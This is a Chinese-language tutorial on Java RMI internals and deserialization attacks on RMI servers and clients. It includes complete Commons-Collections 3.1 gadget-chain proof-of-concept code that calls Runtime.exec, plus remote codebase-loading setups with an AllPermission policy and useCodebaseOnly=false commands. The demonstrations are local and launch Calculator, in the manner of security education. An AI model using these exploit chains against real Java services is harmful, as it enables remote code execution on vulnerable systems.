RMI 定义
RMI 是远程⽅法调⽤的简称,能够帮助我们查找并执⾏远程对象的⽅法。通俗地说,远程调⽤就象将⼀个 class
放在
A
机器上,然后在
B
机器中调⽤这个
class
的⽅法。
RMI (
Remote Method Invocation
),为远程⽅法调⽤,是允许运⾏在⼀个
Java
虚拟机的对象 调⽤运⾏在另⼀个Java
虚拟机上的对象的⽅法。 这两个虚拟机可以是运⾏在相同计算机上的不同 进程中,也可以是运⾏在⽹络上的不同计算机中。
Java RMI (
Java Remote Method Invocation
),是
Java
编程语⾔⾥⼀种⽤于实现远程过程
调⽤的应⽤程序编程接⼝。它使客户机上运⾏的程序可以调⽤远程服务器上的对象。远程⽅法调⽤
特性使
Java
编程⼈员能够在⽹络环境中分布操作。
RMI
全部的宗旨就是尽可能简化远程接⼝对象的
使⽤。
从客户端-
服务器模型来看,客户端程序直接调⽤服务端,两者之间是通过
JRMP
(
Java Remote Method Protocol
)协议通信,这个协议类似于
HTTP
协议,规定了客户端和服务端通信要满⾜的规范。
RMI 代理模式
概念
Stub和Skeleton
RMI的客户端和服务器并不直接通信,客户与远程对象之间采⽤的代理⽅式进⾏
Socket
通信。为远程对象分别⽣成了客户端代理和服务端代理,其中位于客户端的代理类称为Stub
即存根(包含服务器 Skeleton
信息),位于服务端的代理类称为
Skeleton
即⻣⼲⽹。
RMI Registry
RMI注册表
,默认监听在
1099
端⼝上,
Client
通过
Name
向
RMI Registry
查询,得到这个绑定关系和对应的 Stub
远程对象
远程对象是存在于服务端以供客户端调⽤⽅法的对象。任何可以被远程调⽤的对象都必须实现 java.rmi.Remote 接⼝,远程对象的实现类必须继承
UnicastRemoteObject
类。这个远程对象中可 能有很多个函数,但是只有在远程接⼝中声明的函数才能被远程调⽤,其他的公共函数只能在本地的 JVM 中使⽤。
序列化传输数据
客户端远程调⽤时传递给服务器的参数,服务器执⾏后的传递给客户端的返回值。参数或者返回值,在传输的时会被序列化,在被接受时会被反序列化。
因此这些传输的对象必须可以被序列化,相应的类必须实现 java.io.Serializable
接⼝,并且客户端的 serialVersionUID
字段要与服务器端保持⼀致。
结构与流程
远程⽅法调⽤通讯结构图:
服务端创建远程对象, Skeleton
侦听⼀个随机的端⼝,以供客户端调⽤。
RMI Registry 启动,注册远程对象,通过
Name
和远程对象进⾏关联绑定,以供客户端进⾏查询。
客户端对 RMI Registry
发起请求,根据提供的
Name
得到
Stub
。
Stub 中包含与
Skeleton
通信的信息(地址,端⼝等),两者建⽴通信,
Stub
作为客户端代理请求服务端代理 Skeleton
并进⾏远程⽅法调⽤。
服务端代理
Skeleton
调⽤远程⽅法,调⽤结果先返回给
Skeleton
,
Skeleton
再返回给客户端Stub ,
Stub
再返回给客户端本身。
从逻辑上来看,数据是在
Client
和
Server
之间横向流动的,但是实际上是从
Client
到
Stub
,然后从 Skeleton
到
Server
这样纵向流动的,如下图所示:
这⾥执⾏远程对象的⽅法的是RMI通讯的服务端,为攻击服务端的⽅式
代码实现
定义⼀个接⼝,继承
java.rmi.Remote
,并且接⼝中的全部⽅法抛出
RemoteException
异常。
sayHello ,为测试接⼝。
exp1 ,为客户端攻击服务端接⼝。
exp2 ,为服务端攻击客户端接⼝。
package rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteHello extends Remote {
String sayHello(String name) throws RemoteException;
String exp1(Object work) throws RemoteException;
Object exp2() throws RemoteException, Exception;
}
定义接⼝的实现类
package rmi;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;
public class RemoteHelloImpl implements RemoteHello {
public String sayHello(String name) throws RemoteException {
return String.format("Hello, %s!", name);
}
public String exp1(Object exp) throws RemoteException {
System.out.println("exp1 is " + exp);
return "exp1";
}
public Object exp2() throws Exception {
System.out.println("exp2");
return payload();
}
public static Object payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]
{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null,
transformerChain);
Class cl =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class,
Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
创建 RMI Registry ,创建远程对象,绑定 Name 和远程对象,运⾏RMI服务端。
package rmi;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMITEST {
public static void main(String[] args) throws RemoteException,
MalformedURLException {
try {
//实例化对象
RemoteHello h = new RemoteHelloImpl();
//⽤于导出远程对象,将此服务转换为远程服务接⼝
RemoteHello skeleton = (RemoteHello)
UnicastRemoteObject.exportObject( h, 0);
将RMI服务注册到1099端⼝:
LocateRegistry.createRegistry(1099);
// 注册此服务,服务名为"Hello":
//Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
Naming.rebind("Hello", h);
} catch (RemoteException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
运⾏客户端
package rmi;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws RemoteException,
NotBoundException {
// 连接到服务器localhost,端⼝1099:
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为"Hello"的服务并强制转型为Hello接⼝:
RemoteHello h = (RemoteHello) registry.lookup("Hello");
// 正常调⽤接⼝⽅法:
String rs = h.sayHello("rai4over");
// 打印调⽤结果:
System.out.println(rs);
}
}
客户端成功完成远程⽅法调⽤。
readObject攻击RMI
RMI的客户端与服务端通信内容为序列化数据,客户端和服务端可以相互进⾏反序列化攻击。
本地代码库
通常设定的
CLASSPATH
可称为
“
本地代码库
”
,磁盘上加载本地类的位置的列表。
环境:
服务端JDK
版本为
JDK1.7u21
服务端存在 Commons-Collections3.1
或其他可利⽤组件。
攻击服务端
如果客户端传递给服务端恶意序列化数据,服务端反序列化时调⽤ readObject 就会遭到攻击。
客户端攻击
POC
:
package rmi.readObjectRMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import rmi.RemoteHello;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIClient {
public static void main(String[] args) throws Exception {
// 连接到服务器localhost,端⼝1099:
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为"Hello"的服务并强制转型为Hello接⼝:
RemoteHello h = (RemoteHello) registry.lookup("Hello");
// 正常调⽤接⼝⽅法:
//String rs = h.sayHello("rai4over");
String rs = h.exp1(payload());
// 打印调⽤结果:
System.out.println(rs);
}
public static Object payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,
Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null,
transformerChain);
Class cl =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
攻击客户端
反之,服务端同样可以通过恶意反序列化数据攻击客户端。
受害客户端代码:
package rmi.readObjectRMI;
import rmi.RemoteHello;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient1 {
public static void main(String[] args) throws Exception {
// 连接到服务器localhost,端⼝1099:
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为"Hello"的服务并强制转型为Hello接⼝:
RemoteHello h = (RemoteHello) registry.lookup("Hello");
// 正常调⽤接⼝⽅法:
//String rs = h.sayHello("rai4over");
//String rs = h.exp1(payload());
Object rs = h.exp2();
// 打印调⽤结果:
System.out.println(rs);
}
}
远程动态加载代码
Java™平台最重要的功能之⼀是能够将
Java
类组件从任何统⼀资源定位器(
URL
)动态下载到通常在不 同物理系统上,以单独进程运⾏的虚拟机(VM
)的能⼒。
Java RMI利⽤此功能下载和执⾏类,使⽤
Java RMI API
,不仅浏览器中的
VM
,任何
VM
都可以下载任何Java类⽂件,包括专⻔的
Java RMI
存根类,这些类可以使⽤服务器系统的资源在远程服务器上执⾏⽅法调⽤。
java.rmi.server.codebase 属性值表示⼀个或多个
URL
位置,可以从中下载所需的资源。
受害端使⽤该属性远程动态加载需要两个条件:
java.rmi.server.useCodebaseOnly 的值为
false
。为
true
时,禁⽤⾃动加载远程,仅从
CLASSPATH
和当前虚拟机的
java.rmi.server.codebase
指定路径加载类⽂件。从
JDK6u45 、
7u21
开始,
java.rmi.server.useCodebaseOnly
的默认值就是
true
。
设置 securityManager
和
java.security.policy
客户端动态加载
RMI中 RMI client 利⽤远程动态加载代码示意图如下:
- 创建HTTP服务器,作为动态加载代码的远程仓库。
-
服务端创建远程对象, RMI Registry 启动并完成名称绑定,并设置 java.rmi.server.codebase 。
-
客户端对 RMI Registry 发起请求,,根据提供的 Name 得到 Stub ,并根据服务器返回的java.rmi.server.codebase 远程加载动态所需的类。(客户端也可以⾃⾏指定java.rmi.server.codebase )python3 -m http.server 开启 http 服务,并放⼊ commons-collections-3.1.jar 依赖。恶意服务器端设置 java.rmi.server.codebase 的代码:
package RMI; import java.net.MalformedURLException; import java.rmi.Naming; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.server.UnicastRemoteObject; public class RMITEST { public static void main(String[] args) throws RemoteException, MalformedURLException { try { System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/commons-collections-3.1.jar"); //实例化对象 RemoteHello h = new RemoteHelloImpl(); //⽤于导出远程对象,将此服务转换为远程服务接⼝ RemoteHello skeleton = (RemoteHello) UnicastRemoteObject.exportObject(h, 0); 将RMI服务注册到1099端⼝: LocateRegistry.createRegistry(1099); // 注册此服务,服务名为"Hello": Naming.rebind("rmi://127.0.0.1:1099/Hello", h); //Naming.rebind("Hello", h); } catch (RemoteException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } } }
受害攻击客户端代码:package RMI; import java.rmi.RMISecurityManager; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIClient { public static void main(String[] args) throws Exception { System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); // 连接到服务器localhost,端⼝1099: Registry registry = LocateRegistry.getRegistry("localhost", 1099); // 查找名称为"Hello"的服务并强制转型为Hello接⼝: RemoteHello h = (RemoteHello) registry.lookup("Hello"); // 正常调⽤接⼝⽅法: //String rs = h.sayHello("rai4over"); //String rs = h.exp1(payload()); Object rs = h.exp2(); // 打印调⽤结果: System.out.println(rs); } }
Resource ⽬录下的 java.policy 配置权限如下:grant { permission java.security.AllPermission; };
运⾏客户端,具体命令( classpath 太⻓省略)如下:java -Djava.rmi.server.useCodebaseOnly=false -Dfile.encoding=UTF-8 -classpath /AAAAA:/BBBBB RMI.RMIClient
客户端成功远程动态加载 commons-collections-3.1.jar 并完成 RCE 。如果服务端没有设置 java.rmi.server.codebase 指定远程动态加载代码的位置,也可以通过客户端⾃⾏指定:java -Djava.rmi.server.useCodebaseOnly=false - Djava.rmi.server.codebase=http://127.0.0.1:8000/commons-collections-3.1.jar - Dfile.encoding=UTF-8 -classpath /AAAAA:/BBBBB RMI.RMIClient
服务端动态加载
恶意客户端代码:package RMI; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class RMIClient { public static void main(String[] args) throws Exception { System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/commons-collections-3.1.jar"); // 连接到服务器localhost,端⼝1099: Registry registry = LocateRegistry.getRegistry("localhost", 1099); // 查找名称为"Hello"的服务并强制转型为Hello接⼝: RemoteHello h = (RemoteHello) registry.lookup("Hello"); // 正常调⽤接⼝⽅法: //String rs = h.sayHello("rai4over"); String rs = h.exp1(payload()); //Object rs = h.exp2(); // 打印调⽤结果: System.out.println(rs); } public static Object payload() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); map.put("value", "lala"); Map transformedMap = TransformedMap.decorate(map, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, transformedMap); return instance; } }
受害服务端代码:package RMI; import java.net.MalformedURLException; import java.rmi.Naming; import java.rmi.RMISecurityManager; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.server.UnicastRemoteObject; public class RMITEST { public static void main(String[] args) throws RemoteException, MalformedURLException { try { System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); //实例化对象 RemoteHello h = new RemoteHelloImpl(); //⽤于导出远程对象,将此服务转换为远程服务接⼝ RemoteHello skeleton = (RemoteHello) UnicastRemoteObject.exportObject(h, 0); 将RMI服务注册到1099端⼝: LocateRegistry.createRegistry(1099); // 注册此服务,服务名为"Hello": Naming.rebind("rmi://127.0.0.1:1099/Hello", h); //Naming.rebind("Hello", h); } catch (RemoteException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } } }
运⾏⽅法与上⽂相同RMI ⼯⼚模式
除了代理模式,RMI还存在经典的⼯⼚模式,流程图如下:
ProductImp 为远程对象, FactoryImpl 对象指向 ProductImp对象 ,⼤致流程如下:
1.创建 FactoryImpl 对象 ,设置 FactoryImpl 对象 的 指向 ProductImp (通过 HTTP 等协议定位, 可以位于其他服务器),具有指向功能的对象也可以叫做 reference 对象 。2.服务器端的 RMI Registry 启动,创建并注册 reference 对象 (指向 FactoryImpl 对象 ),通过 Name 和 reference 对象 进⾏关联绑定,以供客户端进⾏查询。3.客户端对 RMI Registry 发起请求,根据提供的 Name 得到指向 FactoryImpl 对象 的 reference 对象 。4.客户端加载 FactoryImpl 对象 到本地,并调⽤ FactoryImpl 对象 的⽅法,得到指向 ProductImp 对象 的 reference 对象 。5.客户端加载 ProductImp 对象 到本地,并调⽤ ProductImp 对象 的⽅法,得到最终结果。这⾥执⾏远程对象的⽅法的是RMI通讯的客户端,为攻击客户端的⽅式,是在具体的代码和利⽤场景可以参考FastJson中的JNDI注⼊。